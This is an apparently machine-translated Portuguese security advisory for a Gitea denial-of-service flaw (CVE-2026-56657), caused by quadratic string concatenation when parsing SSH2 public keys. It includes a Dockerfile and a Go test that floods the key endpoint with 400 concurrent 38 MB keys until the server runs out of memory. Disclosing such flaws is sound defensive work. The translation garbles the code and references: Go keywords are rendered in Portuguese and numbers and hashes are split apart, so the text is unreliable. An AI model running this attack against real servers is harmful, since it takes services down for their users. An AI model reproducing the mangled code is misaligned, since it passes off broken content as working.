O endpoint de ingestão de chaves SSH da Gitea aceita chaves no RFC 4716 (SSH) 2 ) e normaliza- os antes do armazenamento. A função de normalização contém um loop de concatenação de cadeia O( N2) sem limite de tamanho de entrada, o que significa que uma única submissão de chave maliciosa pode forçar o servidor a executar uma quantidade de trabalho que cresce quadraticamente com o tamanho da entrada. Qualquer usuário autenticado pode explorar isso para exaurar a CPU e memória do servidor, levando a instância desligada. Um atacante envia um POST /api/v 1 / user/keys solicita com um token do portador e um corpo JSON cujo campo chave contém um RFC malicioso 4716 (SSH) 2 ) chave pública. A chave consiste em um SSH válido 2 cabeçalho seguido de um grande número de linhas de conteúdo curtas — por exemplo, 400,000 linhas de 100 caracteres cada (~ 38 O total de MB). O pedido atinge o `CrearUserPublicKey` sem verificação de tamanho anterior. gitea/ gitea/ blob/ 9155 a 81 b 9 daf 1 d 46 b 2380 aa 91271 e 623 ac 947 c 1 e/ roteadores/api/v 1 /user/key.go#L 201 - L 212 Isto chama `CheckPublicKeyString` que imediatamente chama `parseKeyString`. Dentro de `parseKeyString`, o SSH 2 branch divide a entrada em linhas novas e acumula o corpo chave uma linha de cada vez usando `Conteúdo chave += linha`:.
gitea/ gitea/ blob/ 9155 a 81 b 9 daf 1 d 46 b 2380 aa 91271 e 623 ac 947 c 1 e/ modelos/asymkey/ssh_key_parse.go#L 60 - L 79 Porque as strings Go são imutáveis, cada `+=` na linha 77 Aloca um novo array de apoio e copia toda a string acumulada nele. Para as linhas N, os bytes totais copiados são `N*(N+ 1 )/ 2 `, fazendo a operação ` O( N2) ' em tanto tempo como alocações. A validade da chave só é verificada após o loop terminar, então todo o trabalho quadrático é realizado independentemente de a entrada ser uma chave SSH real. Isto só é possível porque nem o campo de formulário web nem a estrutura da API carregam uma limitação de tamanho: gitea/ gitea/ blob/ 9155 a 81 b 9 daf 1 d 46 b 2380 aa 91271 e 623 ac 947 c 1 e/ serviços/forms/user_form.go#L 308 - L 317.
gitea/ gitea/ blob/ 9155 a 81 b 9 daf 1 d 46 b 2380 aa 91271 e 623 ac 947 c 1 e/ módulos/structus/repo_key.go#L 33 - L 49 Para reproduzir, clone a gítea e checkout commit ` 9155 a 81 b 9 daf 1 d 46 b 2380 aa 91271 e 623 ac 947 c 1 e`. Em seguida, crie os seguintes arquivos a partir da pasta de raiz da Gitea: `poc/Dockerfile` ``` docker from golang: 1.26 - construtor de AS alpina. RUN apk adicionar -- no- cache git build-base # Baixe deps em uma camada separada, então as reconstruções são rápidas após as alterações de fonte. COPY go.mod go.sum./ RUN go download de mod.
# Copiar fonte completa (necessária para fixings, modelos de configuração e compilação). COPY.. # Compilar o teste de integração binário. # modernc sqlite (pure Go, não é necessário CGO) é o driver padrão. RUN CGO_ENAPENDI= 0 ir teste - c \ - o /integration.test \ gitea.dev/tests/integration Imagem em tempo de execução, de Alpes: 3.22. # git é necessário no tempo de execução: o framework de teste inicializa git repos. RUN apk adicionar -- no- cache git COPY --from=builder /integration.test /integration.test # Mantenha a fonte completa no / gitea, então execute o tempo. 0 ) a resolução de caminho funciona # e os modelos de configurações / configuração são acessíveis. COPY -- from=builder / gitea / gitea.
RUN adduser - D - u 1000 poc & & chown - R poc:poc / gitea ENTRYPOINT ["/integration.test", \ "-test.run", "TestDoSSSHKeyParserOOM", \ "-test.v", \ "-test.timeout", " 600 s"] ``` `tests/integration/poc_dos_test.go` ````go integração de pacotes. importar ( "fmt" "tempo de execução" "tempo de execução/depuração" "cadeias" "sync" "sync/atômico" "teste" "tempo" auth_model "gitea.dev/models/auth" api "gitea.dev/modules/structus" "gitea.dev/tests" ). Func TestDoSSSHKeyParserOOM(t *testing.T) { deferir testes.PrepareTestEnv(t)().
// Levante o gatilho GC para que as cadeias intermédias se acumulem mais rápido, // combinando o comportamento do servidor realístico sob a carga de alocação sustentada. debug.SetGCPercent( 400 ) // Faça login como um usuário comum — não é necessário nenhum privilégio especial. sessão:= loginUser(t, "usuário" 1 ") token:= getTokenForLoggedInUser (t, sessão, auth_model.AccessTokenScopeWriteUser) const ( numLines = 400 _ 000 charsPerLine = 100 NumWorkers = 400 ) Chaves var sb.Builder sb.WriteString("---- COMEÇAR SSH 2 CLEF PÚBLICO ----\n") sb.WriteString("Comentário: dos\n") linha:= strings.Repetição("a", charsPerLine) + "\n" para i:= 0; i < numLines; i++ { sb.WriteString(line) } sb.WriteString("---- END SSH 2 CLAVE PÚBLICO ----\n") carga útil:= sb.String().
picto GB:= flutuar 64 (numWorkers) * 2 * flutuar 64 (numLines) * flutuar 64 (charsPerLine) / ( 1 << 30 ) t.Logf("payload=%. 1 f MB workers=%d pic_theory=%. 1 f GB", flutuar 64 (len(payload))/( 1 << 20 ), numWorkers, upgradeGB) // Cada gorotina dirige o seu próprio corpo JSON. Os bytes vivem em req.Corpo // durante toda a duração do MakeRequest, por isso numWorkers concorrentes // goroutines seguram numWorkers × wildoad_size bytes simultaneamente. // Com numWorkers= 400 e carga útil= 38.5 MB: 400 × 38.5 MB = 15.4 GB → OOM. var ( wg sync.WaitGroup feito atômico.Int 64 pronto = make( chan structure{}) start = time.Now() ) para i:= 0; i < numWorkers; i++ { wg. Add( 1 ) go func(id int) { defter func() { feito.Adicionar( 1 ); wg.Done() }() <- pronto req:= Nova PetiçãoCom o JSON(t, "POST", "/ api/v 1 /user/keys", api.CreateKeyOption{ Título: fmt.Sprintf("dos-%d", id), Key: carga útil, }.AdicionarTokenAuth(token).
MakeRequest( t, req, NoExpectStatus) }( i) }. go func() { var ms runtime.MemStats ticker:= time.NewTicker( 5 * tempo.Segundo) deferir o ticker.Stop() para o ticker de alcance.C { tempo de execução.ReadMemStats(&ms) t.Logf("[% 4.0 fs] feito=%d/%d HeapSys=%. 1 f GB HeapAlloc=%. 1 f GB", tempo.Desde( inicie).Segundos(), feito.Load(), numWorkers, flutuar 64 (ms.HeapSys)/( 1 << 30 ), flutuar 64 (ms.HeapAlloc)/( 1 << 30 )) } }() close( ready) wg.Wait() t.Logf("tudo feito em%. 1 fs — recipiente sobreviveu, aumenta numWorkers ou numLines", tempo.Desde( inicializar).Segundos()) } ```` Quando você executar o arquivo Docker, ele deve OOM, porém isso é altamente dependente da máquina hospedeira. No meu final, faço o seguinte: ````sh docker build -t Gitea-dos-poc -f poc/Dockerfile. docker run --rm --memory= 12 g --memória- swap= 12 g Gitea-dos- poc ```.
Que imprime: ``` === TestDoSSSHKeyParserOOM (tests/integration/poc_dos_test.go: 35 ) testlogger.go: 62: 2026 / 06 / 02 14: 37: 40 módulos/ storage/local.go: 48:NewLocalStorage() [I] Criando um novo armazenamento local no /gitea/ tests/gitea-lfs- meta testlogger.go: 62: 2026 / 06 / 02 14: 37: 40 Roteador HTTPRequest [I]: POST / user/ login completo para teste- mock: 12345, 303 Ver Outros em 29.9 ms @ auth/ auth.go: 284 (auth.LogInPost) testlogger.go: 62: 2026 / 06 / 02 14: 37: 41 Roteador HTTPRequest [I]: POST /user/ settings/ applications completados para teste- mock: 12345, 303 Ver Outros em 17.8 ms @ configuração/ aplicações.go: 36 (setting.ApplicationsPost) poc_dos_test.go: 62: carga útil= 38.5 MB workers= 400 Teoria_peak= 29.8 GB ``` ... demonstrando alto consumo de memória. No meu final, a memória é consumida dentro 1 Segundo. Registro de aconselhamento: GHSA- 4 xjf-. 493 q-. 98 p 3. Identificadores relacionados: CVE- 2026 - 56657. Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 21 T 21: 09: 57.000 Z e lista a sua última modificação como 2026 - 07 - 21 T 21: 09: 58.000 Z.
Gravidade: MODERAR. Dados de pontuação publicados: CVSS_V 4: CVSS: 4.0 /AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/África do Sul:N. Software afetado e informações de versão: Go package code.gitea.io/gitea — ECOSISTEM: introduzido 0, corrigido 1.27.0. Classificação e evidência: identificadores de fraqueza CWE- 400. O registro contém 3 suporte de referências nestes tipos: WEB, PACKAGE.